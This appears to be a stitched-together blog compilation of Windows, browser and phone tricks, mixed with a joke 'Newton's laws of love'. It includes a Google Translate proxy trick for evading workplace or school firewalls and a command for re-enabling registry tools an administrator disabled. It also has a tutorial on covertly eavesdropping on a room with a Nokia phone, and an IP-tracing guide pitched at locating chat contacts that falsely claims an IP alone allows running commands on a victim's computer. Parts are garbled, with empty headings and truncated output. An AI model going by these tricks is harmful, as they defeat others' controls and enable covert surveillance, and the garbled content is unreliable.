How to reopen a closed tab in Google Chrome

You finally get to the webpage you've been surfing for and now you've accidentally closed the tab. This can be a very frustrating situation. Chrome is quite forgiving and allows you to easily reopen the closed tab, even if you've closed other tabs after it.
Using a Keyboard Shortcut:
By using the keyboard shortcut Ctrl+Shift+T, Chrome will open the last tab that was closed. Use the keyboard shortcut again, and it will open the tab that was closed before that, and so on. You can use this method to restore up to the last 10 tabs that have been closed during your browsing session.

Using the New Tab Page:
Open up a new tab. Go to Recently closed tabs section located in the lower-right of the page. You will find the last 3 tabs that have recently been closed during your browser session.

How to use Google to access blocked websites

Google is more than just a great search engine. Using Google Translate, you can bypass your (company, university, school) firewall or proxy server and access blocked websites.
Of course this is based on the premise that Google is not being blocked by your organization. I highly [...]undefineddoubt that any admin would be so brave as to deny you access to Google!

On to business, here how to access blocked websites using Google:

- Open your web browser
- Type or copy the following into your browsers address bar:

http://www.google.com/translate?langpair=en|en&u=www.blocked.com

- Be sure to replace www.blocked.com with the address of the site you want to access.
Example usage: If Facebook is being blocked by my organization I would type:

http://www.google.com/translate?langpair=en|en&u=www.facebook.com

- You will now be able to freely browse your previously 'blocked' website.

How this works is fairly simple. Using the above address, you tell Google to 'translate' a website of your choice from English to English (hence the /translate?langpair=en|en)

Google then fetches the website on your behalf, quickly 'translates' it for you and then passes it back to your web browser. This tricks your organization's proxy/firewall server as the website you requested effectively originates from Google (a trusted website) and not from a blocked website (Facebook in our above example)

How to open accidentaly closed tabs in Firefox

Newton's Universal law:

Universal law:

Love can neither be created nor be destroyed, only it can transfer from one girlfriend to another girlfriend with some loss of money.

First law:

A boy in love with a girl, continues to be in love with her and a girl in love with a boy, continues to be in love with him, until on unless any external agent(brother or father of the gal) comes into play and breaks the legs of the boy.

Second law:

The rate of change of intensity of love of a girl towards a boy is directly proportional to the instantaneous bank balance of the boy and the direction of this love is same to as increment or decrement of the bank balance.

Third law:

The force applied while proposing a girl by a boy is equal and opposite to the force applied by the girl while using her sandals.

How to Enable Tools -> Folder Options and Registry Editor in Windows

Many times Windows users face a common problem. The "Folder Options" in "Tools" menu is not visible. Even It can't be accessed from Control Panel. Also "Registry Editor" is disabled.

If you are also facing this problem, then you have come to right place. Follow the simple steps mentioned in this tutorial and your problem will be solved:

1. If Folder Options is disabled but Registry Editor is still working in your system, then you can enable Folder Options by editing Windows Registry. Type regedit in RUN dialog box and press Enter. it'll open Registry Editor, now go to following keys:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Policies\Explorer

In right-side pane, check whether a DWORD value named NoFolderOptions exists or not? If it exists, delete it.

2. If you are not familiar with editing the registry, then you can simply download following file, extract it and then run the .REG file:

folder_options.zip

3. But sometimes Registry Editor is also disabled. Whenever you try to open regedit, Windows will show following error message:

Registry Editor has been disabled by administrator.

Its a symptom of "RONTOKBRO" Trojan. To remove this trojan, follow the instructions given in following topic:

Is Your System Infected with a Virus / Spyware / Adware / Trojan?

4. If its not a trojan problem and someone intentionally has disabled it in your system, then you can enable it again by following any of these methods:

a. Type gpedit.msc in RUN dialog box and goto:

User Configuration -> Administrative Templates -> System

in right-side pane, set "Prevent access to Registry editing tools" to either Not Configured orDisabled.

b. Just type following in RUN dialog box and press :

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f

Now after enabling Registry Editor, you can re-enable Folder Options by following methods mentioned in 1st or 2nd steps.

Hide All Items on the Desktop:

How to hack ip address

In here I have figure out some very easy but cool ways to trace out the geographical location and various other infos like ISP details etc of a remote computer using its IP.

Well I guess its one of the most important must learn manul for boys out there if you want to impress your friends particularly gals whom you'll meet online in a chat room and tell them their geographical locations and ISP details and make them surprised and impressed .

In the practical execution of this manual you don't have to work much as it is very simple only you have to use your brain to understand some symbols and some format of expressions and use your IQ to execute things the right way.




What is IP and how to get the IP of a remote system::



Getting the IP or Internet Protocol of a remote system is the most important and the first step of hacking into it. Probably it is the first thing a hacker do to get info for researching on a system. Well IP is a unique number assigned to each computer on a network. It is this unique address which represents the system on the network. Generally the IP of a particular system changes each time you log on to the network by dialing to your ISP and it is assigned to you by your ISP. IP of a system which is always on the network remains generally the same. Generally those kind of systems are most likely to suffer a hacking attack because of its stable IP. Using IP you can even execute system commands on the victim's computer.

Lets take the example of the following IP address: 202.144.49.110 Now the first part, the numbers before the first decimal i.e. 209 is the Network number or the Network Prefix.. This means that it identifies the number of the network in which the host is. The second part i.e. 144 is the Host Number that is it identifies the number of the host within the Network. This means that in the same Network, the network number is same. In order to provide flexibility in the size of the Network, here are different classes of IP addresses:



Address Class Dotted Decimal Notation Ranges

Class A ( /8 Prefixes) 1.xxx.xxx.xxx through 126.xxx.xxx.xxx

Class B ( /16 Prefixes) 128.0.xxx.xxx through 191.255.xxx.xxx

Class C ( /24 Prefixes) 192.0.0.xxx through 223.255.255.xxx



The various classes will be clearer after reading the next few lines.



Each Class A Network Address contains a 8 bit Network Prefix followed by a 24-bit host number. They are considered to be primitive. They are referred to as "/8''s" or just "8's" as they have an 8-bit Network prefix.

In a Class B Network Address there is a 16 bit Network Prefix followed by a 16-bit Host number. It is referred to as "16's".



A class C Network address contains a 24-bit Network Prefix and a 8 bit Host number. It is referred to as

"24's" and is commonly used by most ISP's.



Due to the growing size of the Internet the Network Administrators faced many problems. The Internet routing tables were beginning to grow and now the administrators had to request another network number from the Internet before a new network could be installed at their site. This is where sub-netting came in.



Now if your ISP is a big one and if it provides you with dynamic IP addresses then you will most probably see that whenever you log on to the net, your IP address will have the same first 24 bits and only the last 8 bits will keep changing. This is due to the fact that when sub-netting comes in then the IP Addresses structure becomes:



xxx.xxx.zzz.yyy



where the first 2 parts are Network Prefix numbers and the zzz is the Subnet number and the yyy is the host number. So you are always connected to the same Subnet within the same Network. As a result the first 3 parts will remain the same and only the last part i.e. yyy is variable.

***********************



For Example, if say an ISP xyz is given the IP: 203.98.12.xx Network address then you can be awarded any IP, whose first three fields are 203.98.12. Get it?



So, basically this means that each ISP has a particular range in which to allocate all its subscribers. Or in other words, all subscribers or all people connected to the internet using the same ISP, will have to be in this range. This in effect would mean that all people using the same ISP are likely to have the same first three fields of their IP Addresses.



This means that if you have done a lot of (By this I really mean a lot) of research, then you could figure out which ISP a person is using by simply looking at his IP. The ISP name could then be used to figure out the city and the country of the person. Right? Let me take an example to stress as to how cumbersome but easy (once the research is done) the above method can be.



In my country, say there are three main ISP's:



ISP Name Network Address Allotted



ISP I 203.94.47.xx

ISP II 202.92.12.xx

ISP III 203.91.35.xx



Now, if I get to know the IP of an e-pal of mine, and it reads: 203.91.35.12, then I can pretty easily figure out that he uses ISP III to connect to the internet. Right? You might say that any idiot would be able to do this. Well, yes and no. You see, the above method of finding out the ISP of a person was successful only because we already had the ISP and Network Address Allotted list with us. So, what my point is, that the above method can be successful only after a lot of research and experimentation. And, I do think such research can be helpful sometimes.



Also, this would not work, if you take it all on in larger scale. What if the IP that you have belongs to someone living in a remote igloo in the North Pole? You could not possibly get the Network Addresses of all the ISP's in the world, could you? If yes please send it to me J.



Well now I guess you have pretty good knowledge about what an IP is and what you can do by knowing the IP of a remote system. Now lets come to the point of finding out the IP of remote system.

Well you can easily figure out the IP of a remote system using the netstat utility available in the microsoft's version of DOS. The netstat command shows the connections in which your system is engaged to and the ports they are using. Suppose you are checking your mail in hotmail and you want to find out the IP of msn. All you need to do is to open a dos window (command.com) and type netstat. You will see all the open connections of your system. There you will see something :



Proto Local Address Foreign Address State

TCP abhisek:1031 64.4.xx.xx:80 ESTABLISHED



Now you got the IP address of hotmail ass 64.4.xx.xx .

Similarly you can figure out the IP address of most http or ftp connections.



To know your own IP type the following command in a dos windows

C:\netstat –n

[this commands converts the IP name into IP addresses]

this is what you will probably see on typing the above command :



Proto Local Address Foreign Address State

TCP 203.xx.251.161:1031 194.1.129.227:21 ESTABLISHED

TCP 203.xx.251.161:1043 207.138.41.181:80 FIN_WAIT_2

TCP 203.xx.251.161:1053 203.94.243.71:110 TIME_WAIT

TCP 203.xx.251.161:1058 194.1.129.227:20 TIME_WAIT

TCP 203.xx.251.161:1069 203.94.243.71:110 TIME_WAIT

TCP 203.xx.251.161:1071 194.98.93.244:80 ESTABLISHED

TCP 203.xx.251.161:1078 203.94.243.71:110 TIME_WAIT



Here 203.xx.251.161 is your IP address.



Now lets clarify the format used by netstat :



Proto : It shows the type of protocol the connection with the remote system is using.

Here TCP (transmission control protocol) is the protocol used by my system to connect to other systems.



Local Address : It shows the local address ie the local IP. When the netstat command is executed without –n switch then the name of the local system is displayed and when the netstat is executed with –n switch then the IP of the local system is displayed. Here you can also find out the port used by the connection.

xxx.yyy.zzz.aaa:1024

in this format you will see the local address. Here 1024 is the port to which the remote system is connected in your system



Foreign Address :: It shows the IP address of the remote system to which your system is connected. In this case also if the netstat command is excuted with –n switch then you directly get the IP of the victim but if the netstat is executed without –n switch then you will get the address of the remote system. Something like



C:\netstat

Proto Local Address Foreign Address State

TCP abhisek:1031 msgr.lw4.gs681.hotmail.com:80 ESTABLISHED



Here msgr.lw4.gs681.hotmail.com is the address of the foreign system . putting this address in any IP lookup program and doing a whois lookup will reveal the IP of the remote system.



Note: The port to which your system is connected can be found from this in the same way as I have shown in the case of local address. The difference is that, this is the port of the remote system to which your computer is connected to.

Below I have produced a list of ports and popular services generally found to be running.

21 :: FTP port

80 :: http port

23 :: Telnet port



Note: If your execute the netstat command and find ports like 12345,27374 are open and are in use then make it sure that your sweat heart computer is infected with her boyfriend.. J J J J I mean your computer is infected with some sort of Trojan.

Below I have produced a list of commonly known Trojans and the ports they use by default. So if you find these ports open then get a good virus buster and get these stupid servers of the Trojans kicked out. Well if you want to play with these Trojan by keeping them in your computer but not letting them ruin your system performance then just disble it from the system registry run and they wont be loaded to memory each time when windows starts up[This trick doesn't work for all Trojans].



Netbus :: 12345(TCP)

Subseven :: 27374(TCP)

Girl Friend :: 21554(TCP)

Back Oriface :: 31337 (UDP)



Well guys and gals I hope you are now well familiar with the term IP and what is the utility of IP in cyber world and how to get the IP of a remote system to which you are connected. I hope you find my writings very easy to undertstand. I know I lack the capacity of explaining myself but I try my level best to make things very easy and clear for you'll.




How to get the IP of a remote system while chatting through msn messenger ::



This is a tutorial on how to get IP address from MSN messenger. This is actually
a really easy thing to do. It is not like going through the hard time and reversing
MSN messenger like many people think.

The IP address is only given when you accept or are sending a file through MSN
messenger. When you send IM's, the message is sent through the server thus hiding
your victims IP and your. But when you send a file or recieve a file, it is direct
connection between the two computers.

To obtain the IP accept a file transfer or send a file to the victim, when the file
sending is under way from the dos prompt type "netstat" without the quotation marks.
You should get a table like this:

Proto Local Address Foreign Address State
TCP kick:1033 msgr-ns29.msgr.hotmail.com:1863 ESTABLISHED
TCP kick:1040 msgr-sb36.msgr.hotmail.com:1863 ESTABLISHED
TCP kick: ESTABLISHED

The top name in the list is the server's address for IMing. There could be many of
the second name in the list, as a new connection is made to the server for every
room you are IMing to. You are looking for the address of the remote host in
this table it may be something similar to "host63-7-102-226.ppp.cal.vsnl.com" or "203..64.90.6".
without the quotation marks.
All you need to do now is to put this address in you IP lookup programe and get the IP of the remote system.


Well 50%of the work is done now. Now you know how to get the IP of a remote system, so its time to trace it down and find some details about the IP.



Tracing an IP is quite simple. You can do it the easy way by using some sweet softwares like Visual Trace 6.0b

[ftp://ftp.visualware.com/pub/vr/vr.exe]

Neotrace

[http://www.neoworx.com/download/NTX325.exe]

or by our way ie. Using MS DOS or any other version of DOS.

Well I suggest you to use DOS and its tracert tool for tracing the IP cause using it will give you a clear conception about the art of tracing an IP and I guarantee that you will feel much satisfied on success than using a silly software. Furthur you will know how things work and how the IP is traced down and the different networks associated in this tracing process.



Let us take a look at tracert tool provided for DOS by Microsoft.

It is a very handy tool for peoples need to trace down an IP.

Just open any DOS windows and type tracert.



C:\windows>tracert



Usage: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name


Options:

-d Do not resolve addresses to hostnames.

-h maximum_hops Maximum number of hops to search for target.

-j host-list Loose source route along host-list.

-w timeout Wait timeout milliseconds for each reply.


You will now see a description of the tracert command and the switches associated with it.

Well these switches doesn't makes much difference. All you can do is to increase the timeout in milliseconds by using –w switch if you are using a slow connection and the –d switch if you wish not resolve address to hostnames by default.

By default tracert performs a maximum of 30 hops trace. Using the –h switch you can specify the number of hops to perform.

Now its time for execution.

Let us trace down the IP yahoo.com [216.115.108.243]



TIP: If you have done a long research (I mean a lot) then simply looking at the IP you can figure out some info from it. For example the IP 203.90.68.8 indicates that the system is in India. In India IPs generally begin with 203 and 202



C:\WINDOWS>tracert yahoo.com



Tracing route to yahoo.com [216.115.108.243] over a maximum of 30 hops:



1 308 ms 142 ms 127 ms 203.94.246.35

16 666 ms 676 ms 674 ms yahoo.com [216.115.108.243]

Trace complete.



Note: Here I have traced yahoo.com. In place of yahoo.com you can give the IP of yahoo or any other IP you want to trace, the result will be the same.



Now carefully looking at the results you can figure out many information about yahoo's server [216.115.108.243]

First packets of data leave my ISP which is at 203.94.246.35 .Similarly you can find out the different routers through which the packets of data are send and received to and from the target system. Now take a look at the 13th line you'll see that the router is in PaloAlto.Teleglobe.net from this you can easily figure out that the router is in Palo Alto. Now finally look at the target system ie. Yahoo's server vl20.bas1.snv.yahoo.com . Now you got the address of yahoo's server. Now put this address in any IP lookup programe and perform and reverse DNS lookup and you will get most of the info about this address,like the place where it is in.

Well another thing you can find out using the tracert tool is that the number of hops (routers) the target system is away from you. In case of tracerouting yahoo.com we find that the target system ie yahoo's server is 16 hops away from my system. This indicates that there are 16 routers between my system and yahoo's server.



Apart from tracing an IP you can find out many usefull details about the target system using the tracert tool.



Firewall Detection



While tracerouting a target system, if you get * as an output then it indicates timeout error. Now if you peform another tracerout to the same taeget system at some other time with a good connection and in this way few times more and if you always get * as the output then take it for sure that the target system is running a firewall which prevents sending of data packets from the target system.



Example



Some days ago I tried to tracert hotmail's server in plain and simple way using tracert without any trick.This is what I found out :

I performed the same tracert many times a day but concluded with the same result. This indicates that the systems after the router SanJose1.Level3.net has firewalls installed which prevents the outgoing of data packets.



Detecting Traceroute Attempts on your System



You can detect that an attacker is performing a traceroute on your system, if you see the following symptoms:



1. If you observe port scans on very high UDP ports. This symptom means that the attacker has performed a traceroute on your system. However, it could also mean a simply port scan. Either way, it signifies the fact that your system is being scanned.



2. If the packet-monitoring tool installed in your network, picks up several outgoing TTL-exceeding messages, then it is yet another sign that someone is doing a traceroute on your system.



3. If in these log files, you also observer an outgoing ICMP port unreachable error message, then it means that since a traceroute was done on your system and as the target system i.e. your system, was reached, it responded with this error message.



You can also find our more information on the attacker (if he performs a traceroute on your system) by simply studying the sniffer log files. If you observer the TTL values, then we can easily figure out the following information on the attacker by making use of OS detection techniques discussed earlier in this white paper:


The Operating System running on the attacker's target system.
Number of hops away, the attacker is from you.

ENABLING RIGHT CLICKS ON SITE DAT DISABLE IT

Lots of web sites have disabled the right click function of the mouse button... it's really, really annoying. This is done so that you don't steal (via right-click->save picture) their photos or images or any other goodies. Unfortunately, it disables ALL right-click functionality: copy, paste, open in new window.

It's easy to change, assuming your using IE 6:
Click "Tools"->"Internet Options"
Click the "Security" tab
Click "Custom Level"
Scroll down to the "Scripting" section
Set "Active Scripting" to "disable"
Click "Ok" a couple of times.

You'll probably want to turn this back to "enable" when your done... 'cause generally the javascript enhances a website.

The James Bond Trick

If you short-circuit the left middle and right pins on the bottom of the phone with all connections touching each other, the Nokia software hangs! The profile "Headset" will be activated. Before you do this just activate the "Automatic Answer" in the headset profile and set the ringing volume to "Mute". Now you can use your phone for checking out what people are talking about in a room. Just place it under a table in a room and call it. The phone receives the call without ringing and you can listen to what people are saying.

Hiding Drives

This setting allows you to control which drives are visible in My Computer and Explorer. It is possible to hide all drives or just selected ones.

Open your registry (press win+r and type regedit , hit enter )
goto

[HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer]

and find or create the DWORD "NoDrives" there by right clicking on explorer -> NEW -> DWORD value .

The "NoDrives" value uses a 32-bit word to define local and network drive visibility for each logical drive in the computer. The lower 26 bits of the 32-bit word correspond to drive letters A through Z. Drives are visible when set to 0 and hidden when set to 1.

If your not happy working in Hex, add these decimal numbers to hide the drive(s):

A: 1, B: 2, C: 4, D: 8, E: 16, F: 32, G: 64, H: 128, I: 256, J: 512, K: 1024, L: 2048, M: 4096, N: 8192, O: 16384, P: 32768, Q: 65536, R: 131072, S: 262144, T: 524288, U: 1048576, V: 2097152, W: 4194304, X: 8388608, Y: 16777216, Z: 33554432, ALL: 67108863

For example to hide drive A and drive D, you would add 1 (A) + 8 (D) which means the value should be set to "9".

To disable all the drives set the value to "67108863".

Restart Windows for the change to take effect.

Note: These drives will still appear in File Manager, to remove File Manager, delete or rename winfile.exe.

change drive icons:

First of all copy a icon file to the root of the drive.
example: c:\icon.ico

then create a file called: autorun.inf in c:\autorun.inf
then open that file and type the following:

[autorun]
icon=icon.ico

save and close the file.

now open my computer and resfresh.. and woh! icon changed....
you can apply to other drives too.

be carefull:

"autorun.inf" and "ico.ico" must be in the root of the drive.
example: c:\autorun.inf and c:\icon.ico.
same on the root.

autoplay virus solution:

autoplay virus solution- if u have problem with ur drives that they are not opening when u double click on then, then apply this trick

u must have winrar
if d:\ doesnt opens,,,,,open winrar and goto d:\ in tht.....u ll be seeing file name "autoplay.inf"....delete tht file..
now refrsh ur drives...
the virus is gone



won't work when virus is running the main file regenrates the autorun file but if u wana stop this u have to remove mdm.exe & svchost.exe in c:\windows directory in the case of ravmon virus also u have to remove its regestiry from run & winlogon

If any of the above files are there, then probably the USB drive is infected. In command prompt type attrib -r -a -s -h *.* and press enter. This will remove the Read Only, Archive, System and hidden file attribute from all the files. Now just delete the files using the command del filename. example del Ravmon.exe. Delete all the files that are suspicious. To be on a safer side, just scan the USB drive with an anti virus program to check whether it is free of virus or not. Now remove the drive and plug it again. In most of the cases, the real culprit turns out to be the "Autorun.inf" file which mostly gets executed when someone clicks Ok in the dialog window which appears above. Thus the infections can spread
percautions:
you should Disable Autoplay feature of USB drives. If you disable the Autoplay feature of USB drives, then there are lesser chances of the virus spreading. A tool which can perform such a function is Tweak UI. Download it from here install it.

REMOVING USERNAME N PIC 4M XP START MENU:

The User account picture can be removed by turning off the Welcome Screen. Or, by switching to Windows Classic theme. Follow the method described in this article if you want to remove the username and picture from the Start Menu, without disabling the Welcome Screen and Windows XP Theme.
For those who want to remove the user name and user account picture from Start Menu, in order to have a blank blue panel at the top, try this:
Start Windows Explorer and go to this folder:
C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures
From that folder, rename the BMP file which corresponds to your user account.
( For example, if your username is Robert, rename Robert.bmp to old_Robert.bmp )
Next, rename the following folder:
C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Default Pictures
to something else, say...
C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\No_Default Pictures
To remove the user name, follow these steps
Start regedit.exe and navigate to the this key:
HKEY_CURRENT_USER \ Software \ Microsoft\ Windows \ CurrentVersion \ Policies \ Explorer
In the right-pane, set NoUserNameInStartMenu value-data to 1
Close Regedit.exe and restart Windows.
You'll end up with a blue space at the top of the Start Menu.
To get back the username and the picture, reverse the above procedure.
For the New Start Menu, Windows XP looks for the .bmp file in the folder
C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures
If the file is not found, it takes a picture from the "Default Pictures" sub-folder. By renaming the .bmp and the "Default Pictures" folder, you're giving no chance for Windows to fetch an image for the Start Menu

Shortcut to restarting xp..

You can restart a Windows XP Pro and Home machine easily by creating a shortcut with following path. (Assume you installed Windows XP on your C: Partition) "c:\windows\system32\shutdown.exe -r -f -t 00" -r is for restarting the computer. -f is to force close all programs without saving. -t 00 is used to restart in zero seconds. i.e. as soon as you D.Click on the shortcut. You can log off from a Windows XP Professional or Home edition by running "C:\windows\system32\shutdown.exe -l -f -t 00". Also you can shutdown a Windows XP Home or Professional edition by running "c:\windows\system32\shutdown.exe -s -f -t 00". You always have to turn from the CPU after running this command. (Same with AT and ATX powered machines.) If you want to turn down power of ATX machine automatically, run "c:\windows\system32\tsshutdn.exe 00 /POWERDOWN /DELAY:00" This is used to turn off a server. Even though your computer will be shutdown completely, this whole operation will take 30 seconds to finish. Even though you don't have networked computers attached to your computer, this works.

Command Prompt on Right-Click

Many computer users, specially the programmers, need to launch a command prompt window every once in a while to execute some dos/shell commands. The problem is, when a command prompt window launched, the default path is normally the system path or the user profile's path. The users will then have to do all the "cd" commands to change the directories to the path he/she wants.

This trick shows you how to add an option called "Command Prompt" when you right-click on a folder in Windows. With this option, a Command Prompt Window will launch and its current directory will be the path to the folder you've selected.

The Solution
You can either edit your registry OR download the registry file and apply it on your computer.

Method I. Manually edit the registry:

Start > Run
Enter "regedit" and hit Enter
Expand to "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell"
Right-click on "shell" and select New > Key
Make sure a new key is created under "shell". Change the name of this key to "Command Prompt"
Right-click on this new key "Command Prompt" and select New > Key
Change the name of this key to "command"
Here's what we should have:
Double-click on the "(Default)" text on the right window to bring up the edit box
Enter this text into the Value Data field:
cmd.exe "%1"
Click OK and close the registry.
